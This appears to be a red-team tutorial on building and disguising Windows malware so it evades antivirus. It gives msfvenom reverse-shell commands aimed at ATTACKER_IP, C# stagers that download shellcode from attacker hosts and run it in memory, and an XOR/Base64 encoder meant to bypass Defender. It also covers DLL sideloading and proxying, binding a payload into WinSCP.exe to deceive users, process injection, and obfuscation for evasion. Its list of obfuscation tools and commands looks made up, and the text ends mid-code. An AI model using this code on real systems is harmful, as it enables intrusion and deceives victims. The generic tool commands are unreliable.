Shellcode can also be stored in .bin files, which is a raw data format. To obtain shellcode from a raw binary file (.bin), we can use the xxd -i command in Linux. If a C2 Framework provides shellcode as a .bin file, we can convert it to its hexadecimal representation using this approach. Here are the steps to create a raw binary file and extract the shellcode:
- Generate a raw shellcode to execute
calc.exeusingmsfvenomand save it to/tmp/example.bin. The command is as follows:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
This command generates a raw payload without any encoding, resulting in a shellcode with a size of 193 bytes.
- Verify the file type of
/tmp/example.binusing thefilecommand:
file /tmp/example.bin
The output should indicate that /tmp/example.bin is a data file.
- Extract the shellcode from the binary file using the
xxd -icommand:
xxd -i /tmp/example.bin
This command converts the binary file to its hexadecimal representation and outputs it as an array of unsigned characters (_tmp_example_bin[]). The length of the shellcode is also provided (_tmp_example_bin_len = 193).
By comparing the output with the previously created shellcode using Metasploit, you can verify that they match.
Staged payloads
Staged payloads are a technique used in exploit development and remote code execution scenarios. They involve breaking down the payload into multiple stages or steps, where each stage is responsible for executing a specific task and preparing the system for the final payload execution.
The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions.
Generate shellcode using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
Notice that we are using the raw format for our shellcode, as the stager will directly load whatever it downloads into memory.
Use the staged payload below to fetch the generated shellcode.bin
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
// P/Invoke to kernel32.VirtualAlloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
// P/Invoke to kernel32.CreateThread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
// P/Invoke to kernel32.WaitForSingleObject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// Memory allocation constants
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
// Create a WebClient instance for downloading the shellcode
WebClient wc = new WebClient();
// Ignore certificate validation (for self-signed certificates)
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// Set the security protocol to TLS 1.2
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Download the shellcode from the specified URL
byte[] shellcode = wc.DownloadData(url);
// Allocate memory for the shellcode to be executed
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy the shellcode to the allocated memory
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
// Variables for thread creation and execution
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
// Create a new thread to execute the shellcode
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
// Wait for the thread to finish executing the shellcode
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
Another version
using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program
{
// P/Invoke to kernel32.VirtualAlloc
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// P/Invoke to kernel32.CreateThread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
// P/Invoke to kernel32.WaitForSingleObject
[DllImport("kernel32")]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
// Memory allocation constants
private static uint MEM_COMMIT = 0x1000;
private static uint PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
// URL for the second stage payload
string stage2Url = "https://attacker-server.com/stage2.bin";
// Download and execute the second stage payload
DownloadAndExecute(stage2Url);
}
public static void DownloadAndExecute(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// Download the second stage payload
byte[] payload = wc.DownloadData(url);
// Allocate memory for the payload
IntPtr payloadAddress = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy the payload to the allocated memory
Marshal.Copy(payload, 0, payloadAddress, payload.Length);
// Execute the payload in a new thread
IntPtr threadHandle;
uint threadId;
threadHandle = CreateThread(IntPtr.Zero, 0, payloadAddress, IntPtr.Zero, 0, out threadId);
// Wait for the thread to finish executing the payload
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
We can compile the staged payload by using csc on linux.
csc staged-payload.cs
Setup a simple HTTPS server.
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
Catch the reverse shell
nc -lvp 7474
Encoding and Encryption
What is encoding?
Encoding refers to the process of transforming data into a specific format or representation, often depending on a particular algorithm or encoding type. It is commonly used in various contexts, such as program execution, data storage and transmission, and file conversion. Encoding can be applied to different types of data, including videos, HTML, URLs, and binary files like executables and images.
What is encryption?
Encryption plays a crucial role in ensuring information and data security. It focuses on protecting data from unauthorized access and manipulation. Encryption involves converting plain, unencrypted content (plaintext) into an encrypted form (ciphertext) using an encryption algorithm and a key. Without knowledge of the algorithm and the key, the ciphertext cannot be read or decrypted.
Shellcode encoding and encryption
List encoders within metasploit framework.
Notice that all of the public encoders will be detected by AV as soon as it touches the victims disk.
msfvenom --list encoders | grep excellent
Example of using shikata_ga_nai encoding.
msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp
Listing encryptions modules within Metasploit framework
msfvenom --list encrypt
Example of using XOR encrypted payload.
In XOR encryption, each character of the plaintext (the original unencrypted message) is combined with a corresponding character from a secret key using the XOR operation. The secret key is a sequence of characters that serves as the encryption key. The XOR operation is applied bitwise, meaning it compares each corresponding bit of the plaintext character and the key character.
Notice that the payload will be flagged by the AV. The reason is still that AV vendors have invested lots of time into ensuring simple msfvenom payloads are detected.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe
Creating custom encoders
Encoder
We will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender.
msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
In the code below we will be XORing the payload with a custom key first and then encoding it using base64. This is just an example and you should write your own custom encoder in order to evade detection.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Encrypter
{
internal class Program
{
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
static void Main(string[] args)
{
//XOR Key - It has to be the same in the Droppr for Decrypting
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
//Original Shellcode here (csharp format)
byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
//XORing byte by byte and saving into a new array of bytes
byte[] encoded = xor(buf, keyBytes);
Console.WriteLine(Convert.ToBase64String(encoded));
}
}
}
Remember to replace the buf variable with the shellcode you generated with msfvenom.
Self-decoding Payload
Since we have an encoded payload, we need to adjust our code so that it decodes the shellcode before executing it. To match the encoder, we will decode everything in the reverse order we encoded it, so we start by decoding the base64 content and then continue by XORing the result with the same key we used in the encoder.
using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
// Import required functions from kernel32.dll
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// Constants for memory allocation and protection
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
// XOR operation between shell and key bytes
private static byte[] xor(byte[] shell, byte[] keyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= keyBytes[i % keyBytes.Length];
}
return shell;
}
public static void Main()
{
// Encoded shellcode as Base64 string
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
// Convert Base64 string to byte array
byte[] data = Convert.FromBase64String(dataBS64);
// Key used for XOR encoding
string key = "THMK3y123!";
// Convert key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
// XOR encode the shellcode
byte[] encoded = xor(data, keyBytes);
// Allocate memory with execute, read, and write permissions
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy encoded shellcode into the allocated memory
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
// Create a new thread to execute the shellcode
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
// Wait for the thread to finish executing
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
DLL Sideloading and Proxying
Sideloading
DLL Sideloading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
Check for programs susceptible to DLL Sideloading using Siofra and the following powershell script:
# This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\" and the DLL files they try to load
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
Proxying
DLL Proxying forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload.
Use SharpDLLProxy fomr @flangvik.
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
The last command will give us 2 files: a DLL source code template, and the original renamed DLL.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
DLL Injection
Inspiration: Bypassing Defender on modern Windows 10 systems | Purpl3 F0x Secur1ty
What we will do here is create a DLL in Visual Studio that will run our shellcode. Then use powershell to load it directly into memory. This method is good for evasion since it does not write to disk.
- First open Visual Studio and create a new project using the template "Class Library (.NET Framework)
- Paste the code below and do the required adjustment
- Build the DLL
- Start a webserver using python or apache
- and run the following powershell command.
# Download the binary data of the DLL file from the specified URL and store it in the $data variable.
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run2.dll')
# Load the DLL data as an assembly and assign it to the $assem variable.
$assem = [System.Reflection.Assembly]::Load($data)
# Retrieve the type information of the "ShellcodeRunner" class from the assembly and assign it to the $class variable.
$class = $assem.GetType("Class1.ShellcodeRunner")
# Retrieve the method information of the "RunShellcode" method from the class and assign it to the $method variable.
$method = $class.GetMethod("RunShellcode")
# Invoke the "RunShellcode" method, passing 0 as the instance object (since it's a static method) and $null as the method arguments.
$method.Invoke(0, $null)
using System;
using System.Runtime.InteropServices;
namespace Class1
{
public class ShellcodeRunner
{
// Import the necessary functions from kernel32.dll
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
public static void RunShellcode()
{
// Replace the shellcodeBytes with your actual shellcode
byte[] shellcodeBytes = new byte[460] {0xfc,0x48,...};
// Allocate memory and copy the shellcode into it
IntPtr shellcodePtr = ShellcodeRunner.VirtualAlloc(IntPtr.Zero, (uint)shellcodeBytes.Length, 0x3000, 0x40);
Marshal.Copy(shellcodeBytes, 0, shellcodePtr, shellcodeBytes.Length);
// Change the memory protection to allow execution
ShellcodeRunner.VirtualProtect(shellcodePtr, (uint)shellcodeBytes.Length, 0x20, out _);
// Create a new thread to execute the shellcode
IntPtr threadHandle = ShellcodeRunner.CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero);
// Wait for the thread to complete
ShellcodeRunner.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
// Free the allocated memory
ShellcodeRunner.VirtualFree(shellcodePtr, 0, 0x8000);
}
}
}

Packers
Packers are pieces of software that take a program as input and transform it so that its structure looks different, but their functionality remains exactly the same. Packers do this with two main goals in mind:
- Compress the program so that it takes up less space.
- Protect the program from reverse engineering in general.
When an application undergoes the packing process, it undergoes a transformation through a designated packing function. This function is responsible for obfuscating and altering the original code of the application in a manner that can be reasonably undone by an unpacking function, ensuring the preservation of the application's original functionality. Although the packer might occasionally introduce additional code to enhance the difficulty of debugging the application, its primary objective is to retrieve the original code that you authored when executing it.
AV solutions, however, could still catch your packed application for a couple of reasons:
- While your original code might be transformed into something unrecognizable, remember that the packed executable contains a stub with the unpacker's code. If the unpacker has a known signature, AV solutions might still flag any packed executable based on the unpacker stub alone.
- At some point, your application will unpack the original code into memory so that it can be executed. If the AV solution you are trying to bypass can do in-memory scans, you might still be detected after your code is unpacked.

Packing our shellcode
This payload takes a shellcode generated by msfvenom and runs it into a separate thread.
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
Generate a shellcode and replace the shellcode in the code.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp
Now compile it using csc.
csc UnEncStageless.cs
ConfuserEX2
ConfuserEx 2 is an free, open-source protector for .NET applications. It is the successor of Confuser project and the ConfuserEx project.
Releases · mkaring/ConfuserEx (github.com)
DISABLE PACKER - Packer in confuserEX is mostly busted.
When enabling rules. Don't go overboard.

Binders
Binders play a significant role in the development of malicious payloads for distribution among end users. Unlike AV bypass methods, binders merge multiple executables into a single program. Their primary purpose is to conceal the malicious payload within a familiar program, deceiving users into thinking they are running a different application.

One approach involves modifying the entry point within the PE header of the program. By doing so, your shellcode can be executed just before the legitimate program starts running. After the shellcode completes its execution, the control can be redirected back to the legitimate program. This clever technique ensures that when the user launches the resulting executable, the shellcode is discreetly executed first, seamlessly integrating with the normal execution of the program without drawing any attention from the user.
Binding with msfvenom
The method used by msfvenom injects your malicious program by creating an extra thread for it.
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe
# -x, --template Specify a custom executable file to use as a template
# -k, --keep Preserve the template behavior and inject the payload as a new thread
Binders and AV
Binders won't do much to hide your payload from an AV solution. The simple fact of joining two executables without any changes means that the resulting executable will still trigger any signature that the original payload did.
When creating a real payload, you may want to use encoders, crypters, or packers to hide your shellcode from signature-based AVs and then bind it into a known executable so that the user doesn't know what is being executed.
Obfuscation
Obfuscation can be one of the most lucrative tools in an attackers arsenal when it comes to evasion.
Layered obfuscation: a taxonomy of software obfuscation techniques for layered security
Obfuscation Concatenation
Concatenation is a common programming concept that combines two separate objects into one object, such as a string.
| Language | Concatenation Operator |
| Python | “+” |
| PowerShell | “+”, ”,”, ”$”, or no operator at all |
| C# | “+”, “String.Join”, “String.Concat” |
| C | “strcat” |
| C++ | “+”, “append” |
Attackers can utilize non-interpreted characters, both independently or in combination with concatenation, to disrupt or confuse static signatures, thereby extending from the concept of concatenation.
| Character | Purpose | Example |
| Breaks | Break a single string into multiple sub strings and combine them | ('co'+'ffe'+'e') |
| Reorders | Reorder a string’s components | ('{1}{0}'-f'ffee','co') |
| Whitespace | Include white space that is not interpreted | .( 'Ne' +'w-Ob' + 'ject') |
| Ticks | Include ticks that are not interpreted | d`own`LoAd`Stri`ng |
| Random Case | Tokens are generally not case sensitive and can be any arbitrary case | dOwnLoAdsTRing |
Example
// Original code
public class ExampleClass
{
public static void SensitiveFunction()
{
string secretData = "Sensitive information";
Console.WriteLine("Secret data: " + secretData);
}
}
- Line 3: Defines a public class named
ExampleClass.
- Line 4: Defines a public static method named
SensitiveFunction()within theExampleClassclass.
- Line 5: Declares a string variable named
secretDataand assigns it the value "Sensitive information".
- Line 6: Prints a message to the console, concatenating the string "Secret data: " with the value of
secretData.
// Obfuscated code using string concatenation
public class ObfuscatedClass
{
public static void S()
{
string _0x8b74 = "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E";
string _0xf868 = _0x8b74;
string _0xef50 = "Secret data: " + _0xf868;
Console.WriteLine(_0xef50);
}
}
- Line 13: Defines a public class named
ObfuscatedClass.
- Line 14: Defines a public static method named
S()within theObfuscatedClassclass. This is the obfuscated version of the original method.
- Line 15: Declares a string variable
_0x8b74and assigns it the obfuscated string value "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E". This string represents "Sensitive information" using hexadecimal escape sequences.
- Line 16: Declares a string variable
_0xf868and assigns it the value of_0x8b74. This step is unnecessary in this example and does not contribute to the obfuscation.
- Line 17: Declares a string variable
_0xef50and assigns it the concatenation of the string "Secret data: " and the value of_0xf868. This recreates the original message.
- Line 18: Prints the value of
_0xef50to the console usingConsole.WriteLine().
In the obfuscated code, the original variable name secretData and class name ExampleClass have been replaced with obfuscated names prefixed with _0x. The sensitive string "Sensitive information" has been represented using hexadecimal escape sequences to make it harder to read and understand. The string concatenation technique is used to reconstruct the original message and print it to the console.
Obfuscation table
| Obfuscation Method | Purpose |
| Junk Code | Add junk instructions that are non-functional, also known as a code stubs |
| Separation of Related Code | Separate related codes or instructions to increase difficulty in reading the program |
| Stripping Redundant Symbols | Strips symbolic information such as debug information or other symbol tables |
| Meaningless Identifiers | Transform a meaningful identifier to something meaningless |
| Implicit Controls | Converts explicit controls instructions to implicit instructions |
| Dispatcher-based Controls | Determines the next block to be executed during the runtime |
| Probabilistic Control Flows | Introduces replications of control flows with the same semantics but different syntax |
| Bogus Control Flows | Control flows deliberately added to a program but will never be executed |
Code obfuscation is a process that makes your application binaries harder to read with a decompiler. It’s an important tool for protecting your business’s intellectual property. It can also be used to bypass modern anti-virus solutions. Some common obfuscation techniques include the following.
Obfuscation's Function for Static Evasion
Common obfuscation techniques for static evasion
- Renaming Variables and Functions:
Change variable and function names to random, meaningless names.
- Use non-descriptive, abbreviated, or cryptic names to make the code harder to understand.
- Convert names to Unicode or other character encodings.
- String Encryption:
Encrypt sensitive strings (e.g., URLs, API keys) and decrypt them at runtime.
- Use custom encryption algorithms or known encryption algorithms with custom keys.
- Split strings into multiple parts and reassemble them dynamically.
- Code Splitting and Joining:
Split critical parts of the code into multiple sections or files.
- Use techniques like dynamic loading or runtime code generation to join and execute the code sections.
- Dead Code Injection:
Inject unused or unreachable code to confuse static analysis tools.
- Insert random or irrelevant statements and functions that have no effect on the program's logic.
- Control Flow Obfuscation:
Modify the control flow of the code to make it harder to follow.
- Use techniques like code flattening, code reordering, and spaghetti code.
- Insert unnecessary loops, conditionals, and jumps.
- Code Transformation:
Use code transformations to modify the structure and behavior of the code.
- Apply operations like code splitting, code merging, function inlining, and loop unrolling.
- Convert high-level constructs to lower-level representations (e.g., replace loops with goto statements).
- Anti-Debugging Techniques:
Implement checks to detect and evade debugging environments.
- Use API calls to detect debugger presence, such as
IsDebuggerPresent()orCheckRemoteDebuggerPresent().
- Insert conditional code that changes behavior when a debugger is detected.
- Obfuscated Constant Values:
Replace constant values with calculations or complex expressions.
- Use bitwise operations, mathematical functions, or string operations to derive constant values dynamically.
- Code Compression:
Compress the code using compression algorithms (e.g., zlib) and decompress it at runtime.
- Encrypt the compressed code to prevent easy analysis and extraction.
- Metadata Manipulation:
Modify or remove metadata from the executable file, such as version information or symbol tables.
- Change timestamps or other file properties to make analysis more difficult.
Tools and examples for each technique
- Renaming Variables and Functions:
Tool: obfuscator
- Command:
obfuscator --rename file.c
- String Encryption:
Tool: string_encryption_tool
- Command:
string_encryption_tool --input file.c --output obfuscated_file.c
- Code Splitting and Joining:
Tool: code_splitter
- Command:
code_splitter --split file.c
- Command:
code_splitter --join obfuscated_parts/* --output obfuscated_file.c
- Dead Code Injection:
Tool: dead_code_injector
- Command:
dead_code_injector --inject file.c --output obfuscated_file.c
- Control Flow Obfuscation:
Tool: control_flow_obfuscator
- Command:
control_flow_obfuscator --obfuscate file.c --output obfuscated_file.c
- Code Transformation:
Tool: code_transformer
- Command:
code_transformer --transform file.c --output obfuscated_file.c
- Anti-Debugging Techniques:
Tool: anti_debugger_tool
- Command:
anti_debugger_tool --apply file.c --output obfuscated_file.c
- Obfuscated Constant Values:
Tool: constant_obfuscator
- Command:
constant_obfuscator --obfuscate file.c --output obfuscated_file.c
- Code Compression:
Tool: code_compressor
- Command:
code_compressor --compress file.c --output obfuscated_file.c
- Metadata Manipulation:
Tool: metadata_manipulator
- Command:
metadata_manipulator --modify file.c --output obfuscated_file.c
Protecting and Stripping Identifiable Information
Object names
// Original
#include "windows.h"
#include
#include
using namespace std;
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
cout << "Buffer Created";
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
cout << "Process written with buffer" << remoteBuffer;
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
cout << "Closing handle" << processHandle;
cout << leaked;
return 0;
}
// Remove comments and replace the meaningful identifiers to resolve this problem.
#include "windows.h"
int main(int argc, char* argv[])
{
unsigned char awoler[] = "";
HANDLE awerfu;
HANDLE rwfhbf;
PVOID iauwef;
awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(awerfu, iauwef, awoler, sizeof awoler, NULL);
rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
CloseHandle(awerfu);
return 0;
}
Code Structure
// Original code
public class OriginalClass
{
public static void OriginalMethod()
{
int a = 10;
int b = 20;
int sum = a + b;
Console.WriteLine("Sum: " + sum);
}
}
// Obfuscated code with code structure obfuscation
public class ObfuscatedClass
{
public static void ObfuscatedMethod()
{
int _0x4 = 10;
int _0x8 = 20;
int _0xc = _0x4 + _0x8;
Console.WriteLine(_0xc.ToString().Replace("0", ""));
}
}
In this example, we have an original class OriginalClass with a method OriginalMethod() that performs a simple addition of two integers and prints the sum. The obfuscated class ObfuscatedClass is an altered version of the original class where the code structure has been obfuscated.
File & Compilation Properties
To remove symbols from a compiler like Visual Studio, we need to change the compilation target from Debug to Release or use a lighter-weight compiler like mingw.
If we need to remove symbols from a pre-compiled image, we can use the command-line utility: strip.
# Check symbols
nm file.exe
# Strip file of symbols
strip --strip-all cmdshell.exe
Obfuscation Methods with examples
Renaming identifiers
To make them unreadable. The obfuscator alters the methods and names of variables. The new names may include unprintable or invisible characters1. For example, a variable named password can be renamed to p@$$w0rd or 💩.
// Orignal code
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RenamingIdentifiersExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
return z;
}
}
}
// By using an obfuscator tool like Dotfuscator, you can rename the identifiers
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AAAAAAA
{
class BBBBBBB
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = CCCCCC.DDDDDD(a, b);
Console.WriteLine(result);
}
static int DDDDDD(int x, int y)
{
int z = x + y;
return z;
}
}
}Packing compresses
The entire program to make the code unreadable: This reduces the size of the executable file and makes it harder to analyze1. For example, a program that prints “Hello World” can be packed into a single line of code that looks like gibberish.
// To pack your code, you can use a tool like UPX (https://upx.github.io/).
// Here's an example command to pack a C# executable:
// upx myprogram.exeControl flow obfuscation
Alters the structure of the code: This changes the order and logic of the instructions without affecting their functionality1. For example, a simple loop can be replaced with a complex switch statement or a recursive function.
// Original
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ControlFlowObfuscationExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z < 0)
{
z = -z;
}
return z;
}
}
}// By using an obfuscator tool like Dotfuscator, you can use control flow obfuscation to make the code more difficult to understand
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ControlFlowObfuscationExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z >= 0)
{
goto LABEL1;
}
z = -z;
LABEL1:
return z;
}
}
}Instruction pattern transformation
Changes the way instructions are executed. This modifies the low-level representation of the code to make it more obscure1. For example, an arithmetic operation can be replaced with bitwise operations or function calls.
// This technique is typically implemented using a tool like LLVM Obfuscator (https://github.com/obfuscator-llvm/obfuscator).
// Here's an example command to obfuscate a C# program using LLVM Obfuscator:
// obfuscator-llvm myprogram.exeDummy code insertion
Adds irrelevant code to confuse decompilers. This inserts extra statements that do not affect the output but make the code longer and more complicated1. For example, a random number generator can be added before every conditional statement or a useless variable can be declared and assigned.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace DummyCodeInsertionExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z < 0)
{
z = -z;
}
return z;
}
// Dummy code inserted to confuse decompilers
